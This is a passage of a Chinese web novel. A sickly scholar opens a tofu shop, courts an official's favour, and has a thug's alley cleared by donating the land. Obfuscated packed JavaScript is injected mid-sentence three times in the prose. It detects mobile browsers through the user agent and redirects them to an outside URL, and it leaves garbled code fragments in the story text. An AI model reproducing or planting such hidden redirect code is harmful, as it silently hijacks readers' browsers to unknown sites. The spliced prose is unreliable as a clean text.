瞧他那游刃有余的样子,一点读书人的呆板和矜持都没有。甚至还颇沉溺其中,好像这样子的应酬场面,对于他就如同家常便饭般简单。 其实从很久前,邬夜就知道杜伯承和传闻中的穷笨书呆子形象一点都不符。 相反,杜伯承健谈,思维敏捷,又很幽默。和他无论说什么,都不会冷场。 且他谈吐风雅,无形中,就连邬夜这种不是很喜欢与人交流的性子,和他每每聊起来,都会意犹未尽。 天气越来越暖,窗外一轮上弦月当窗而挂,格外明亮。 邬夜一言不发,隔着满桌美食佳酿,静静看着与胡老八谈笑风生的杜伯承。 又想起初识那会,这人也是这样笑着和他聊天,有时兴起,还会主动靠过来,把手很没规矩的搭在他的肩膀上。 明明态度随意也不注意男人与哥儿之间的边界,但不知怎么的,邬夜就是讨厌不起来。 甚至…… 他还会心跳如雷,不知羞耻的想着,要是杜伯承能再过分一点点,就好了。 现在回想起来,是不是那个时候,自己就已经喜欢上了杜伯承,而不自知呢? 又或者更早一点。 是相处日久,杜伯承和他聊天说“哥儿和女儿也是香火”时? 还是杜柏承信守承诺,在自己付了买断费后,拒绝了邀月阁更高的利益诱惑,帮着他保住了母亲留下的迎宾楼? 亦或者,是初次见面,杜伯承一身青衣从细雨霏霏中缓步而来,明明鞋袜泥泞,衣发尽湿,站在自己面前时,却一点卑怯懦弱的样子都没有。只用一双如寒星般漆黑漂亮的眸子看着自己,不卑不亢的打招呼说“邬东家,初次见面,我是杜伯承,日后还望多多关照”时? 邬夜理不清自己的心。 对杜柏承的这份情,也不知具体从何时何处所起,就一往而深了。 而他越是回想从前与杜伯承相处时的种种,就越是无法接受,怎么婚后的关系,反而还不如婚前了呢? 杜伯承现在别提和自己聊天说笑了,他甚至连多看自己一眼都不愿…… 邬夜又想起那个黑煤小木匠,和那个娇滴滴比黑煤还讨厌的小哭包,猜测杜伯承到底喜欢他们什么呢?怎么想,自己都比那两个村汉村姑强吧? 或许那俩人也和杜伯承一样,有不为人知的好?就像不了解杜伯承的人无法理解自己为何会中意杜伯承,自己也无法理解杜伯承为何会中意他们? 邬夜思维发散,正胡思乱想之际,杜伯承和胡老八已经散场。 杜伯承将胡老八送出迎宾楼,递给他两个红木食盒道:“这豆腐五宝,是我不值钱的一点心意,给胡大哥和大哥的义兄尝个鲜。” “咳咳~最晚放到明日中午就会馊,还得麻烦胡大哥帮我把心意带到,日后有机会,我再做东,好好感谢大哥义兄的这番帮忙。” “杜老弟你真是客气,放心,我这就给他送去,保证把你的心意带到。” “咳咳~那就多谢胡大哥了。” “这有什么谢的,你快回去吧。夜冷受了凉,全是我的罪过。” 胡老八笑眯眯和杜伯承道别,却没去找自己的义兄,而是先回家,一进门就喊自家女人:“荷花!快给我找五十两银子出来!” “大晚上的,你要这么多银子做什么?” “杜老弟让我给义兄带吃的感谢,但光有吃的怎么成?他年纪小阅历浅,不懂这里头的人情世故,他那个夫郎也盼着他不成事,我做大哥的,你又受了他的恩,可不得尽心帮他周全。” 荷花忙翻箱倒柜着急道:“只是家里的银子都帮了杜兄弟,也不知道还有没有五十两。” 胡老八坐下喝口茶,再喘口气,一面往开揭食盒盖子,一面道:“没有就去隔壁借——哎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“你乖嘛,良药苦口,喝了病才能好,来,我喂你,别跟个不懂事的小孩子似的。” 心里大为震惊之余,也暗暗提醒自己。 ——以后对杜伯承这位被自家东家放在心尖尖上的人,一定要百好,千好,十万分的好。可不能像前任掌柜分不清大小王,白白丢了饭碗。 这片刻杜伯承也看到了他,立刻推开嘴边难以下咽的苦汤子,抓到救命稻草般问:“什么事?” 王喜财忙到前说了。 杜伯承又问:“迎宾楼最近生意如何?” 王喜财觑了眼邬夜,瞧自家东家对杜伯承过问迎宾楼生意的事并没有表现出不悦,回道:“挺好的,这几天因着那豆腐干,生意比之前更红火了。” 杜伯承颔首,“再加把劲,咳咳~争取两个月内把邀月阁挤倒闭。到时我和你们东家,都有赏。” 王喜财刚上任正愁找不到奋斗努力的方向,闻言立马应诺,并在心里决定:今夜就用滚滚的开水,偷偷去把邀月阁门口的那两棵发财树,全都给他浇死! 等他走了。 邬夜重又端起桌上药碗,刚要继续哄着某人喂,阿诚又过来道:“姑爷,你让我找的那个内鬼,有刺头他们的消息了。” 杜伯承忙道:“带进——” “慢着。” 邬夜耐心耗尽,附耳用只有彼此才能听到的声音问千方百计逃避喝药的某人:“好话不听,非得我嘴对嘴的喂是吧?” 19. 目标十万两 杜伯承不是受威胁的性子,邬夜也是说到做到的人。 杜伯承扫了眼阿信等,未免所剩无几的面子再一次变得稀碎,咬牙夺过邬夜手里的药碗,仰头一口干了。 如此有骨气的后果就是—— “呕~” 邬夜塞一颗甜蜜饯到杜伯承嘴里,“一个大男人居然怕苦,真够娇气的。喝个药不仅要哄,还得我上手段,真是~” 杜伯承皱着一张苍白俊美的脸,舌尖发苦说不出话。 眼神反驳:男人也是人,男人也有味觉,男人也是能怕苦的好不好? 而且不是他娇气。 是这药真的太苦了。 想他穿越前身体健康,平日里连个上火小感冒都没有,就算是外表甜甜的小药片子都没怎么吃过,更别提这么苦的汤药了,且还是雷打不动每天三碗。 杜伯承试图给自己减刑:“这药不管用,咳~我以后不喝了。” 邬夜没理他,让阿信:“把人带进来。” 不多时,一个蓬头垢面的小乞丐赤着脚,怯生生走了进来。双眼直勾勾盯着桌上的糕点和甜蜜饯,肚子发出雷鸣般的“咕噜噜~” 邬夜蹙眉:“怎么是个小孩子?” 杜伯承让人将糕点和茶水拿给小乞丐,“小孩才不让人有戒心。” 等小乞丐吃饱喝足,这才擦擦嘴巴,说起听来的消息:“刺头哥他们已经商量好了,嗝~说要找个机会去有一茶楼放火,还说要偷偷给迎宾楼投毒……给你们的店泼大粪……” 邬夜面露不屑。 杜伯承问:“还有呢?” “哦~刺头哥还说反正他已经成了废人,也不想活了,不如等你开业的时候,就和你同归于尽,带不走你,也要死在你的店门口,把你的名声彻底搞臭。但大家都在劝他好死不如赖活着,也不知道他会不会那么做……” 小乞丐说着给杜伯承跪下,抱着脏兮兮的小手,无比熟练的哈着腰祈求。 “我,我把能打听的都打听了,求求您行行好,能不能现在就把那三百文都给我?我爷爷真的病的很厉害,呜~我,我怕他抗不住,呜~我给您磕头了。” 说着就“砰!”的磕了下去,亏得阿信拉住,否则非得头破血流不可。 杜伯承招手把他叫到身边,上下打量着问:“多大了?” “八,八岁了。” “为什么会当乞丐?咳咳~你的父母呢?” “呜~”小乞丐哭起来。 “年前遭灾,海里也打不到鱼,呜~交不起海祱,恶霸要爹把娘抵给他,爹不同意,就把爹打死沉了海呜!我娘去给恶霸做了小,毒死了他全家老小三十八口人,自己也死了,还被恶霸的儿子鞭尸,呜呜~” “爷爷带我和弟弟妹妹从渔村逃了出来,路上弟弟妹妹也死了……都是灾民……听说这镇子里有个姓邬的富商在施粥呜~我们就来了……您行行好,救救爷爷吧!呜~我就剩他了!呜——” 杜伯承看了眼邬夜。又问:“那这么说,你们这些乞丐很多都是各地来的流民,和刺头他们并不一心,对不对?” “嗯~”小乞丐点头:“刺头哥是本地人,他只罩着本地乞丐,说我们这些外地乞丐抢了他们的地盘,天天让官府把我们赶出镇子,还咒我们去死。我,我可怕他了,要饭也不敢去他那里……” 小乞丐到底是个小孩子,很多事情只有杜伯承主动问了,他才说,并不懂得如何提炼有用信息。 待把小乞丐知道的事情都问清楚,再加上从胡老八那里打听来的,杜伯承对刺头这群地痞流氓,也有了更深的了解。 他把早就准备好的铜钱并一张字条塞进小乞丐脏兮兮十分瘦弱的小手里,轻咳几声。 “镇外五里地山上的社庙里,有个叫智慧的和尚,是专治头疼脑热的好手。我和他有点交情,你拿这字条去找他,他会收留你们爷孙的。到时记得嘴甜勤快些,在庙里多干些力所能及的活,别惹人嫌。” 小乞丐愣愣看着他,反应过来立马又给他跪了下去,抓着手里救命的铜板和字条,砰砰用力给他磕着头道:“谢谢您!谢谢您!我下辈子当牛做马!也一定报答您!” 杜伯承忙扶他起来,让阿信把他再送出去。 小乞丐似是觉得他是个好人又很可靠,走到院门口,又跑回来问:“如果刺头哥知道我出卖背叛他,我,我和爷爷还能活么?” 杜伯承笑笑,说:“首先,你和他没有任何关系,更不是一伙的,所以这不叫出卖,也不叫背叛,你只是用你知道的信息,和我换到了你想要的东西,是非常公平公正的交易,你不用为此感到任何愧疚或不安。” “其次,咳咳~等你再回来时,镇里将不会再有刺头这些恶霸,你也不必害怕。” 小乞丐不怎么能听懂这些话,只知道刺头等不会威胁到自己和爷爷的生命安全,立马放下心来。把铜钱和纸条藏在衣服里拍拍,一步三回头的走了。 邬夜好奇:“你有对付刺头他们的办法了?” 杜伯承点头。 “是什么?” “到时候你就知道了。” “怎么和我还卖关子?” “主要这事还得一个人帮忙,现在也不知道能不能成。” 邬夜越发好奇了:“什么忙我不能帮?还得找别人?” 杜伯承摇摇头不愿说,动身去看自己刚得的店。背后跟着一大一小两只粘人精。附带一队随从。 众人从迎宾楼正门出来,过街转个弯,就看到一座三层高的红木小楼静静伫立在四市道路交汇的街中心。它的对面,是生意冷清的邀月阁。 有一茶楼的牌匾已经摘掉,杜伯承成为它新主人的消息,也在镇子上不胫而走。 看他来踩店,路过的闲人很想说点什么,但碍于之前集市上那嘴碎之人的下场,以及那日邬夜霸气护夫的残暴血腥场景依然历历在目,用脚趾头想想后,决定还是管好自己的嘴巴为妙。 杜伯承毫不在意周边形形色色打量自己的目光,只专心打量自己的店。 小楼外观轩敞精致,内里空旷雅观。 因着是茶楼,除了三层的包厢雅间,一二层都只摆着些桌椅板凳,地方空旷,装修起来很有发挥余地,也不用担心拆减添置的时候,破坏结构。 杜伯承一翻黄历,瞧今天就是黄道吉日,当即找胡老八介绍了靠谱的工匠,用一上午的时间和师傅们敲定好装修改造的图纸后,下午就点了炮动工。 邬夜说他:“你未免也太心急了些。” 杜伯承笑笑,一刻不停的将商旗图纸交给镇上有名的刺绣店,加钱让绣娘务必尽心尽力绣的活灵活现按期完工后,又提笔,要趁着黄道吉日,把店铺的招牌一并写了。 胡老八笑眯眯拦住他,“胡老弟胡老弟,你别冲动你别急。我认识一个字写的特别好的秀才,让他给咱写吧,好看又不贵。” “或者你昨晚那食盒里的小筏是谁写的?那字不仅我看着好,就连我义兄对字画那么有研究的行家,都说想见见写字的人,我觉得,让他写也成。” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14814227|158627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >杜伯承正想找机会和这位义兄搭上线,听胡老八说他如此喜欢自己的字,心中一动,越发非要露一手不可。 邬夜却也拦住他:“匾额是一个店铺的门面,还是慎重些好。反正现在店还在装修,也不急。你想给店取什么名?我请南州的万文给你写。” 胡老八眼睛一亮:“哎呀!那可是有名的书法大家,听说一个字就值一千两呢!” “何止!”阿信怕杜伯承不知道自家主子对他有多好,插话道:“那位面子大的很呢,有钱都不一定请得到,非得我家主子亲手煮了茶给他喝才行。” 胡老八不解:“为啥呀?” 阿信正要当着杜伯承的面,好好宣传一下自家主子“茶艺大师”的牛逼厉害之处。 让他们都知道知道,自家主子亲手煮的一杯茶,在那些文人墨客眼中是有多么的好喝、值钱且珍贵。 不妨半字未说,便被邬夜瞪了一眼,只能悻悻闭了嘴。 也就这片刻间的功夫,杜伯承已经在白色的宣纸上写好了自己的店铺名——天下第一豆腐。 问大家:“怎么样?” 四周一片寂静…… 围观的胡老八等看着纸上那笔走龙游、力道遒劲的六个大字,个个张大嘴巴瞪大了眼睛,没文化不会夸,只不住的拍手。 “好字!好字!杜老弟你原来写的这么一手好字!那外头怎么就传的那般离谱?” 邬夜看看捂唇轻咳,手指苍白无力的杜伯承,再看看纸上笔锋逼人,力透千钧,颇具风骨好像要从纸上飞起来的字。 震惊之余,万分不解:“既然写的一手好字,怎么上了考场,就写成那样?” 原主被悬牌批责后,考卷到现在还在南州城的贡院门口挂着,只要从那路过的人,都明白他那文章他那字,为何会独得考官青睐。 杜伯承对此的解释是:“一上考场就紧张。” 科举不第是他的痛,被主考官悬牌批责是他读书生涯上,一辈子都难以洗去的污点。而那个悬牌批责他的考官,还是邬夜的亲舅舅。 邬夜很明智的没再继续这个话题,指着右下角商标旁的小“一”问:“这怎么还多个“一”?” “哦~它代表这是我的第一家店。” 邬夜笑了:“你还要开分店?” “当然。” 邬夜嘴角笑容更大,问杜伯承:“那你今年打算赚多少?太少的话可开不了分店。” 杜伯承想了想说:“刚起步,就先赚十万两吧。” “多少?” “十万两。” 这下不止邬夜笑,胡老八等也不由自主笑了起来。 杜伯承奇怪:“怎么了,咳咳~我的目标定的太低了吗?” 邬夜摇头,万分爱怜的看着他说:“我的夫君,可真有志气。” 杜伯承听着这话有点阴阳怪气,但邬夜的表情又没有什么不对,眼神里甚至还有些宠溺,其余人也是一脸友善的看着他,遂也没多想。 让人将写好的字送去装裱,问胡老八:“胡大哥,你瞧着我的字,写的怎么样?” 胡老八自是点着脑袋夸啊夸,忽反应过来:“昨日食盒里的字!也是你写的?!” 杜伯承点头。 胡老八一拍大腿,当即写了字条让人送去自家义兄当值的衙门,不过两刻钟,便收到回信,看过后笑眯眯问杜伯承。 “义兄说他对你的字见之不忘,今晚下值后,想在竹园摆酒与你一会,请你务必赏光,不知道杜老弟意下如何啊?” 20. 结识一贵人 去竹园的路上,正好路过东市那条鱼龙混杂的小巷。 马车行至那日刺头被邬夜砍去双手的地方,黑红血迹淋漓,蜿蜒向阴暗看不见光的最深处。 杜伯承对驾车的阿信道:“停一下。” “好的姑爷。” 杜伯承打开车窗,看到记忆里嘴角总是挂着张扬笑容、行事分外嚣张的刺头,依然戴着他那顶遮天蔽日的大草帽,和一群乞丐靠着墙根挤在一处。敞开的双腿.间,放着一个空空如也的破碗。 没再听到他那肆意到不把任何人放在眼里的大笑。 只瞧他像极了一朵潮湿发霉的毒蘑菇,满身的幽怨之气,快要冲破九霄。 有人注意到马车里的杜柏承,推了推刺头。 四目相对时,刺头眼中没有怕也没有悔,只有浓浓的恨与怨。 杜伯承从那眼神中可以确定:但凡刺头还有一只手,定会毫不犹豫提刀向他杀来。 同车的胡老八被刺头那怨毒的目光弄的浑身不自在,难得收了脸上的笑,皱着眉头问:“杜老弟,你怎么会招惹上这种缠手不讲理的麻烦人物?” “我从未招惹过他,是他蛮不讲理,非要将兄弟的死怪罪在我夫郎的头上。又胡搅蛮缠,怎么也不肯放过我。”杜伯承关上窗,不多时便来到了竹园。 胡老八的义兄作为请客方,已早早到店。不仅点好了酒菜,还请了乐班。 虽在来的路上,杜伯承已经得知,这位义兄姓高名汉光,年过三十,在县太爷身边任方言翻译官,不仅精通文墨,平日里也最喜欢以文会友。高汉光也对杜伯承的大名如雷贯耳。但两人第一次见面,还是互通了姓名住址,全了礼数。 “第二次和高兄见面,真是荣幸之至。”杜伯承落座后,对高汉光如此说。 这话让高汉光和胡老八齐齐摸不着头脑,“第二次?” 杜伯承点头,“高兄还记得,去年腊月十三,咳咳~下西河村的李来男,与其父在公堂之上,三击掌断绝父女关系的案子吗?” “当然,这事儿可是轰动一时。”高汉光问:“她是你的——?” 杜伯承:“那李来男正是我的亲大嫂。” “当时高兄一身官服站在明堂之上,仪表堂堂,一口官话说的那叫一个好听。咳咳~我勤学苦练十多年,官话还是讲不标准,那日见过高兄,真是做梦都希望能练就如高兄般标准好听的官话,却总不能如愿。” “今日一见,没成想居然是胡大哥的义兄。景仰之人就这样猝不及防出现在面前,不得不感叹一句,缘分真是妙不可言。” 高汉光本是清俊儒雅书生,闻言也止不住笑口大开,连声道:“哪里,哪里。”讲话的调子,倒是放得更字正腔圆了些。 胡老八越发摸不着头脑,“胡老弟,你大嫂不是叫李玉柔吗?怎么又叫李来男?” 杜伯承一笑:“胡大哥有所不知,我嫂嫂本名确实是叫李来男没错,嫁给我大哥后,我爹是读书人,觉得这名字粗俗配不上嫂嫂的人品相貌,便以嫂嫂满十五岁为由,学着有身份的人家,给嫂嫂取了玉柔做表字,隐喻她不仅贤良淑德,还像璞玉般品行高洁。” “咳咳~嫂嫂很喜欢这个表字,村里人也觉得好听,叫着叫着,就弃了原来的名字。” “哦~原来这样。” 谈起此事,陌生的关系一下拉近很多,聊起天来,彼此也逐渐随意。 高汉光本是钦慕杜柏承的字,现在又追着问:“不知你嫂嫂那案子的诉状是哪位高才执笔?不瞒杜兄弟,我也是心慕其人已久。可惜笔迹从未见过,寻遍十里八乡大大小小的状师无数,均是无果。哎~” 杜伯承笑问:“那高兄觉得那诉状写的好吗?” 高汉光:“岂止是好!那诉状不足百字,却将你嫂嫂的苦楚和她娘家如何做恶,呈现的淋漓尽致。真可谓字字泣血,引人共鸣且打心底里同情。我当时都想下堂打爆你嫂嫂他爹娘的头!震惊天下居然还有此等禽兽父母!” “这么说吧,如果不是那纸诉状,东翁绝不会冒天下大不讳,那么容易就判一对父女恩断义绝,事后还让我把人找出来,想聘他到身边……奈何遍寻无果,倒是让衙门里几个吃闲饭的状师松了好大一口气。” 高汉光给杜伯承打个揖,满面诚恳:“恳请杜兄弟告知这人究竟是谁,我必当感激不尽。” 杜伯承忙托起他,笑问:“若我真让你们见到了,咳咳~不知高兄想要如何?” 高汉光双眼发亮:“自然是厚金相赠!厚礼相待!与他把酒言欢!抵足而眠!畅谈到天明!” 杜伯承:“高兄如此盛情,我真不忍心辜负。” 高汉光:“那他是——” 杜伯承:“远在天边,近在眼前。” 高汉光愣了下,扭头看胡老八。 胡老八笑眯眯摆手:“不是我,我可没那本事。” 高汉光站起身,在竹林掩映的小园子里找了半天,摊手道:“哪呢?没有啊。” 杜伯承捂脸:“高兄,为什么你宁愿怀疑拉二胡的老者,也不肯多看我一眼?” “你?”高汉光愣住。 胡老八笑眯眯:“胡老弟,你怎么还没喝,就醉了呀?” 杜伯承当即喊小二拿纸笔来,将自己曾给嫂嫂执笔的诉状默写一遍给他们看,“高兄好好看看,是不是如出一辙?” “内容确实一样,但字迹不同。” “咳咳~那是因为我卧病在床半年之久,连笔杆子都握不住,所以字迹才潦草虚浮了些。高兄若不信,可以随意考考我,如何?” 然后从这里开始—— 高汉光便开始考教杜伯承的学识才华,最后满面钦慕地拉着他的手问:“你有如此高才,怎会连考十年不中?” 胡老八替杜伯承答:“哎呀~义兄你有所不知,这杜老弟一上考场,就紧张。” 每逢科举,总有些学子,或昏或病或紧张到大小便失禁,闹出不知多少笑话。 这没什么好奇怪的。 “真是可惜了。”高汉光叹息一声,紧紧拉着杜柏承的手不愿松开:“今晚你随我回衙,树下还有一坛杏花酿,挖出来我们对月长谈。” “不行不行,”胡老八忙道:“杜兄弟身子弱,不能喝酒,也不能畅谈到天明,他不能熬夜的。” 高汉光是一副很善解人意的样子:“那我们就抵足而眠,能谈多久谈多久。你不是想学官话吗?正好教你。如何?” 胡老八还要说杜伯承有个家教很严的夫郎—— 杜伯承已经点头道:“高兄如此盛情美意,怎敢推辞。” 月上柳梢头。 邬夜在镇上盘完帐,回到迎宾楼时已经快要宵禁。 王喜财刚把阿信捎话回来说杜伯承要在外面过夜的事一讲,邬夜刚踏进门槛的脚又迈了回去,扭头就往竹园走。 官场中人虽不能喝花酒,但也偷偷养些名妓伶男,且最喜欢在饭桌上送来送去。 杜伯承虽身子病弱,但好歹也是个男人。对自己是因着逼赘的事心生厌恶不愿靠近,对其他漂亮可心的男男女女,难保就不会动那个心。 邬夜只要一想到杜伯承可能会和除自己以外的人肢体交缠,亲热缠绵,心里的愤怒、嫉妒和醋意就控制不住的疯狂涌出来,烧的眼眶都红了。 到了竹园瞧已经关店,扭头又往胡老八的家里走,行至半路便被巡逻的官兵拦住,只能先回迎宾楼。 “啪!”一声,上好的细瓷杯在地板上碎成盐粒大小的均匀颗粒,足见摔他的人用了多大的内劲。 阿诚很少看到自家主子的情绪如此失控,心里觉得幻灭,也不明白自家主子在闹哪样。 未免邬夜一个冲动挑战官府权威夜闯宵禁去寻人,硬着头皮劝道:“主子你先别急,有阿信跟着,姑爷不会有事的。” 邬夜噌的扭过头来看他,一双丹凤眼红的可怕。 “主子,你……”阿诚后退一步。 邬夜紧绷的身体骤然一松,缓缓坐下捂住脸说:“对啊,还有阿信跟着,我怎么就把他给忘了……” 虽如此,邬夜还是一夜没睡。 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|14814228|158627||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' >不是只担心杜伯承会胡来,更担心他的安危。 毕竟现在刺头那边的隐患还没有彻底解决…… 好不容易捱到卯时解除了宵禁,邬夜立马去找胡老八,得知杜伯承去向后,又转道来到县衙。 而这个代替朝廷行使皇权的地方,就算他有两江巡抚的舅舅做后台,也不能乱闯。 邬夜就像一条依靠气味寻找主人的忠犬,在正对府衙的小茶馆一坐就是两个时辰。 眼看太阳高照,官府的人都当值了,也不见杜伯承和阿信的影子。 心情无比焦灼间,忽从衙门里出来一队壮兵,气势汹汹朝着东市的方向去了。 带队的,正是拐走杜柏承的高汉光。 追着看热闹的百姓很多,邬夜也忙起身跟上。 到时东市已经炸开了锅。 不知为何,刺头等盘踞的那条巷子小街,突然被县太爷的方言翻译官,带着壮兵强行拆除。 县衙院墙向外扩了足足三十米,自此东市再无各路人牙、乞丐和地痞流氓们的丝毫立足之地。 没了住所的乞丐、流氓,和丢了饭碗的人牙们惊慌失措过后,便是滔天的愤怒、悲伤。张牙舞爪对着官兵大吼大叫。 “不让老子们活了是不是!是不是不让老子们活了!啊?啊啊啊!” 高汉光抱拳冲着愤怒无助的人群深深一揖,朗声道:“众位乡亲们,实在对不住。大家待的这地,原是商户杜伯承所有,现他已将这地皮,捐给了官府做粮库……” 人群瞬间哗然。 邬夜也愣了:杜伯承怎么会是这片地的所有者? 不知是谁将矛头对准了刺头,指着他怒不可遏的骂:“都怪你做的好事!害大家跟着遭灾!你怎么不去死!” 这下可不得了,被煽动的人群立马要新仇旧恨一并算。 刺头还没从“杜伯承居然是自己脚下这片赖以生存的地皮的主人”这个事实中回过神来,便在那骂声的带动下,被和他积怨已久的众人群起而攻之。 “都怪他!打死他!” “让你从前欺负老子!老子打死你!” “还有他的同伙!一并打死!都是他们惹出来的祸!害了大家!” 时光的回旋镖正中眉心。 那日刺头和同伴们是怎么扯着为兄弟报仇的大旗围攻杜伯承,今日因他丢了住所和饭碗的大家伙,就怎么双目含恨,拳打脚踢往死里揍刺头和他的同伙。 当然刺头等人大可以再把这笔恶账算在杜伯承的头上,但无所谓。 死人的恨威胁不到活人。 乌合之众没了根据地和地头蛇,一盘散沙风一吹就散了,也不足为惧。 刺头终于害怕了,也有了悔。 但一切都晚了。 高汉光让人用草席将刺头和他几个同伙的尸体卷着扔到镇外的乱葬岗去,这才让官兵把哭天喊地愤怒到无法自控的人群拉开,慢半拍开始安慰。 “各位父老乡亲都别慌,凡是本地籍有营生的,都去官府报到登记,以后统归各行行长管,规规矩矩做人,不准再干黑吃黑的营生。” “外地的流民,现在都可以去天下第一豆腐,也就是原来的有一茶楼,每人领一两银子和一袋种子,反籍回乡。” “没地儿去也没营生的,杜东家也会根据你们每个人的情况,着情安置。大家都别在这里嚷了,快去讨生路吧!” 话落群情激愤的人群爆发出一阵欢呼! “这杜柏承真他娘是个好人!” “太好了!我能回家了!哈哈哈!我能回家了!” “有救了!老子不用当乞丐了!哈哈哈!” 人群散去,暖暖的阳光照进小巷。 这片聚集了地痞流氓和各路乞丐并困扰了官府许久的阴暗潮湿之地,和天上流云一起,风过后,就此不复存在。 高汉光擦擦头上薄汗,正要回衙交差,忽被人一拦。 他抬头,眼睛还未看清对方是谁,一句冰冷的质问便劈头盖脸砸了下来。 “你把我夫君呢?” 21. 捐地的奖赏 邬夜赶到有一茶楼时,杜伯承不在,只阿信和几个官府的衙役,在忙着登记安置乞丐和流民。 向阿信问清昨夜经过,邬夜又急急忙忙赶回迎宾楼。 快要正午,杜伯承盖着毛毯,趴在临窗铺着暖阳的贵妃软榻上,抱着枕头睡得香甜。 被他丢下一夜的华章则抱着膝盖坐在窗柩下,红着眼睛默默无声掉眼泪。 邬夜怕扰到杜伯承,把小崽子叫远了问:“好好的,怎么哭这么可怜?” “呜~三叔说话不算数。明明说很快回来,却一夜未归。呜~我以为他又不要我了。” 邬夜一笑:“这么离不开你三叔?” 华章像条淋了雨又被人遗弃的小狗,擦着眼泪可怜兮兮的说:“除了三叔,这世上再没有人疼我了。” 邬夜也知道之前杜家要卖华章时,是杜伯承拦下的,心里很明白华章对杜伯承如此依赖的原因,眸光微转道:“既如此,那以后无论他到哪儿,你都不离开他半步好不好?” 这个哪用他来说,华章抽抽噎噎:“那,那当然。以后三叔不管做什么,和谁在一起,我都跟着他。” 邬夜忙补充:“但和我在一起时就不必了。” 杜伯承这一觉直睡到午饭过后,才悠悠转醒。 一睁眼,就瞧四只眼睛齐刷刷看着自己,目光不仅哀怨,还都充满了控诉。 杜伯承眯着眼睛有点懵:“怎么了?” 华章瘪着小嘴冲他又吸鼻子又红眼睛。 邬夜冷着脸让他:“自己想。” 杜伯承可没有动不动就反思自己的坏习惯,覆唇打个哈欠又伸个懒腰:“好饿……” 邬夜冷哼一声,传了饭。扶着杜伯承坐起身,端杯热茶支到他嘴边问:“昨夜你都做什么了?困成这样。大夫千叮咛万嘱咐你不能熬夜,都忘了是不是?” 杜伯承就着他的手喝几口茶润润嗓子,又懒洋洋躺回去,“你以为我想。” 邬夜把华章支开,问道:“事情我都听阿信说了,今天东市那动静我也看到了。只奇怪,你怎么会有那的地?” 杜伯承看着他不说话。 邬夜:“是彩礼?” “要不然呢?” “可我家又怎么会有那的地?” 邬夜说着便开始骂继母:“那个老贱妇!都是从哪搜刮出来的这些破烂东西给你当彩礼!怎么不塞给她的儿媳女婿呢?!真是个地地道道的老贱货!我和她没完!” 杜伯承蹙眉。 想他刚认识邬夜那会,这人多清风明月一贵公子啊,别提说脏话了,想多听他说一个字都难,完全就是高岭之花,雪山之莲嘛。 怎么一成婚,又是暴力,又是爆粗口的。这还是同一个人吗? 杜伯承侧过身,用膝盖碰了下邬夜的后腰,轻咳几声道:“不要说脏话。她这也算弄巧成拙帮了我的忙。而且捐地官府会有相应的奖赏,有高兄帮忙运作,相信也不会亏。” 邬夜奇了:“捐地还有奖赏呢?快说来听听。” 杜伯承点头:“是高兄告诉我的。咳咳~” “过去遇上大灾,常有富人积德行善,捐地给流民种。朝廷为了鼓励这种善举,会特许这些人外出时,在本州住官驿。经商的话,还可以选利润最高的店铺,减免一年之内的两成商税。” “若有重大贡献,比如对当地的治安有利什么的,咳咳~地方长官也可以根据情况,把荒山野林给其经营种植,只要交一点地税就行。” 邬夜闻言就笑了:“这叫什么奖赏?” “官驿清苦,难以为继却不能关门,就算空着也不能当客栈。能得这份赏的人自然身份安全,若去吃住,必要花钱,这就有了进项。而富人又怎么会放着酒楼不住,去吃这个苦?所以这项好处约等于没有。” “商税如此繁重,却只给减免一间店铺,且只是一年内的两成,这点钱够打点官府那些来送喜的小鬼一顿饭吗?反正我才不需要。” “至于这种植荒山野林,就更好笑了,从来没听说靠这能发家致富的,还要交地税,呵~” 邬夜俯身看着杜柏承的眼睛道:“你个傻子,这不叫奖赏,这是朝廷打着鼓励的幌子,对富人进行的又一次压榨。难怪我从来没听说过捐地还有这福利,很明显根本没人吃这闷亏嘛。” 他冲杜伯承抬抬下巴:“怎么,你个傻子难不成还为这点子东西,心动了?” 杜伯承推开他:“行善之所以叫行善,就是不为名也不为利,若朝廷奖大于捐,咳咳~那得给多少有心人可乘之机?再说蚊子也是肉,朝廷给的这点奖励虽少,但如果能用的上,那也是意外之喜。” 邬夜挥开他的手又靠上来:“杜伯承我发现你好不会算账,我给你的金窖不比这点蚊子肉香?你干嘛不要?” “就拿买有一茶楼这事来说,我明明给你凑了三千两,你就是要借。” “胡老八那边不好出尔反尔也就算了,你村里那个贱……那个黑煤木匠呢?你为什么不还?合着他们的人情都需要维护,我这边就不需要了?你还说你不偏心!” 杜伯承再次推开他:“说话就说话,不要靠这么近。” 邬夜握住他推拒的手:“你是谁的人?不让我——” “主子!姑爷!我——”飞奔到窗前的阿信噌地转过身捂住眼睛,此地无银百两的说:“我什么也没看见。” 邬夜面上一红,忙抽出被杜伯承反握住的手,起身离开了软塌。 杜伯承坐起身问:“事情都办好了?” 阿信背着身点头:“嗯,凡是本地籍的各路人牙子和无业游民,都由官府分派给各行行长,给了正经营生。乞丐等难民一共六十五人,有四十八人领了银子和种子,高高兴兴回家去了。剩下的不是老弱病残,就是无家可归,等着姑爷安置。” 